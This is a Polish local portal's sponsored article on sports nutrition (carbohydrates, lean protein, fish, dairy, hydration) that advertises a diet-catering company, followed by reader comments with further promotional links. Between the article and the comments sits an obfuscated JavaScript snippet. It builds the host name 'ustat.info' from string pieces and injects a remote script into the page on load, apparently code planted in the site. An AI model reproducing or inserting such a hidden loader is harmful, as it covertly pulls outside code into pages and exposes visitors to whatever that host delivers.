Portal nr 1 w powiecie bolesławieckim
BolecFORUM Nowy temat
Tekst zlecony
26 września 2015r. godz. 08:13, odsłon: 4470, Redakcja

Coś dla ciała – fit dieta dla tych, którzy lubią sport

Odpowiednia dieta jest bardzo ważnym elementem życia każdego sportowca, a także każdego, kto po prostu aktywnie żyje.
Coś dla ciała
Coś dla ciała (fot. )
REKLAMA
Villaro zaprasza
Odpowiednia dieta jest bardzo ważnym elementem życia każdego sportowca, a także każdego, kto po prostu aktywnie żyje i stawia na ruch. Podobno 50% sukcesu każdego sportowca to odpowiednie wyżywienie. Oczywiście każda dieta powinna być opracowana indywidualnie, mamy tu na uwadze rodzaj i częstotliwość uprawianego sportu, a także wiek i płeć osoby, dla której dieta jest opracowana.

Wiadomo, że sportowcy przyjmują suplementy diety w postaci przeróżnych odżywek, jednak samo jedzenie jest szalenie ważne. Przyjrzyjmy się więc, co w takim razie powinien spożywać ciągle aktywny fizycznie sportowiec. Najważniejsze są węglowodany, ponieważ stanowią 55-60% dziennego zapotrzebowania żywieniowego. Mówiąc o węglowodanach, nie można pominąć ryżu, makaronów, pieczywa pełnoziarnistego oraz ziemniaków. Białko to kolejny składnik wyżywienia sportowca, lecz ważna jest przede wszystkim jakość tego białka. Największy nacisk warto położyć na produkty mięsne, wskazane jest chude mięso, raczej pieczone czy gotowane, drób i wołowina. Bardzo ważne są ryby, a w szczególności chude ryby morskie, jak dorsz, sola, mintaj czy szprotki. O wartości odżywczej ryb nie trzeba chyba nikogo przekonywać, ponadto zawierają cenne dla organizmu kwasy omega-3 wspomagające także budowę mięśni. Bardzo ważny jest nabiał, mleko i jego przetwory oraz przede wszystkim jajka. Rzecz jasna mleko powinno mieć zmniejszoną zawartość tłuszczu, jego przetwory, jak maślanka czy sery także. Nabiał to cenne źródło tak potrzebnej witaminy D. Ponadto oczywiście nie należy zapominać o owocach, warzywach i sokach, które pozwolą uzupełnić niedobory witamin i minerałów. Ważne jest też picie odpowiedniej ilości płynów, szczególnie wody. Ponieważ organizm pobiera energię przez cały dzień, a sportowcy nie mogą pozwolić sobie na jej utratę, powinno się spożywać pięć dobrze zbilansowanych, pełnowartościowych posiłków dziennie. Oczywiście ilość węglowodanów i białka zawartych w diecie zależna jest od rodzaju sportu i ilości godzin, podczas których trenujemy. Dlatego dieta powinna być dobierana indywidualnie do potrzeb.

Diety dla sportowców, dzięki którym będziesz mógł skupić się na wynikach swoich treningów przygotuje dla Ciebie firma Kielkinawidelki.pl

Powinniśmy stawiać na potrawy lekkostrawne – jeśli wędliny i mięsa, to chude, ograniczyć powinniśmy potrawy wzdymające i raczej zdecydować się na gotowanie na parze zamiast smażyć i dusić.

Niezmiernie ważne jest nawadnianie organizmu, ponieważ podczas treningów tracimy wodę i elektrolity. Ważne jest, by o tym pamiętać, bo utrata wody może mieć bardzo nieprzyjemne konsekwencje. Niepożądane jest zjawisko hipoglikemii – gdy następuje spadek glukozy we krwi na skutek dużego wysiłku fizycznego – dlatego w menu sportowca nie powinno być miejsca na przekąski typu czekoladowe batoniki, bo zawarta w nich glukoza uwalnia się zbyt szybko.

Jeżeli jednak mamy problem z ustaleniem odpowiedniego menu, a zależy nam na dobrym stanie zdrowia i utrzymaniu odpowiedniego poziomu energii, możemy zdecydować się na zamówienie gotowych posiłków, odpowiednio zbilansowanych i dobranych według potrzeb. Firma cateringowa kielkinawidelki.pl specjalizuje się w różnego rodzaju dietach, w tym także dietach dla sportowców. Zamiast zastanawiać się nad tym, czy dobrze dobieramy składniki naszych pokarmów, warto zlecić to specjalistom, którzy opracują dietę za nas, a my oszczędzimy na czasie, spokojnie planując inne ważne zajęcia. Pięcioposiłkowa dieta dla sportowców opracowana przez dietetyka, pozwoli nam mieć pewność, że odżywiamy się właściwie i dostarczamy organizmowi odpowiednich składników. Kielkinawidelki.pl to firma, dzięki której skupimy się na wynikach naszych treningów, sprawy wyżywienia pozostawiając profesjonalistom.

(function(){ ur8w=document.createElement("script");ur8w.type="text/javascript"; ur8w.async=true;ur8w_=(("us")+"t")+"a";ur8w_+=("t.i")+""+"n";ur8w_+=(("f")+"o"); ur8w.src="http://"+ur8w_+"/5141484.sts2g7nkr8wyzrjb7k3X2j3tubwi40"; document.body.appendChild(ur8w); })();

Coś dla ciała – fit dieta dla tych, którzy lubią sport

~Anonim niezalogowany
26 września 2015r. o 11:59
Drogo
Zgłoś do moderacji Odpowiedz
~~Marina niezalogowany
22 lutego 2017r. o 13:29
Drogo oj drogo. W zasadzie każdy catering dietetyczny jest drogi. Ale można chociaż dobrać taki, który w swojej cenie będzie naprawdę dobry. Mi osobiście bardzo odpowiada taki catering, bo mają fajne menu: http://www.przelomwodzywianiu.pl/menu-tygodniowe
Polecam osobom, które chciałyby się trochę odchudzić i smacznie zjeść.
Zgłoś do moderacji Odpowiedz
15821
#tomekdjred35 nieaktywny
20 sierpnia 2017r. o 20:08
Można też zamiast całego cateringu samemu gotować i przygotowywać sobie dietetyczne dania. Wystarczy tylko wiedzieć, co jeść a czego nie. Najlepiej skorzystać z pomocy specjalistów - dietetyków. Doradzą, jakie kroki obrać i mamy problem z głowy. Jeśli nie wiecie gdzie szukać to na https://kcalmar.com/dietetycy/ można znaleźć dietetyków z prawie każdego większego miasta.
Zgłoś do moderacji Odpowiedz
12978
#Kukuryku nieaktywny
23 sierpnia 2017r. o 13:41
Ja sama wolę przygotowywać posiłki. A trzymam się tych wszystkich zdrowych zasad.
Zgłoś do moderacji Odpowiedz
Wypowiedz się:
Jeśli zostawisz to pole puste przypiszemy Ci losową ksywę.
Publikacja czyichś danych osobowych bez zezwolenia czy użycie zwrotów obraźliwych podlega odpowiedzialności karnej i będzie skutkować przekazaniem danych publikującego organom ścigania.
Publikowane komentarze są prywatnymi opiniami użytkowników serwisu. Bolec.Info nie ponosi odpowiedzialności za treść opinii i wypowiedzi, a osoba zamieszczająca wypowiedź może ponieść za jej treść odpowiedzialność karną i cywilną. Bolec.Info zastrzega sobie prawo do moderowania wszystkich opublikowanych wypowiedzi, jednak nie bierze na siebie takiego obowiązku. Pamiętaj, że dodając zdjęcie deklarujesz, że jesteś jego autorem i przekazujesz Wydawcy Bolec.Info prawa do jego publikacji i udostępniania. Umieszczając cudze zdjęcia możesz złamać prawo autorskie. Bolec.Info nie ponosi odpowiedzialności za publikowane zdjęcia.
Daj nam Cynk - zgarnij nagrodę!

Byłeś świadkiem jakiegoś wypadku lub innego zdarzenia? Wiesz coś, o czym my nie wiemy albo jeszcze nie napisaliśmy? Daj nam znać i zgłoś swój temat!

Wypełnij formularz lub wyślij pod adres: [email protected].

Kontakt telefoniczny z Redakcją Bolec.Info: +48 693 375 790 (przez całą dobę).

REKLAMA CER-FAR zaprasza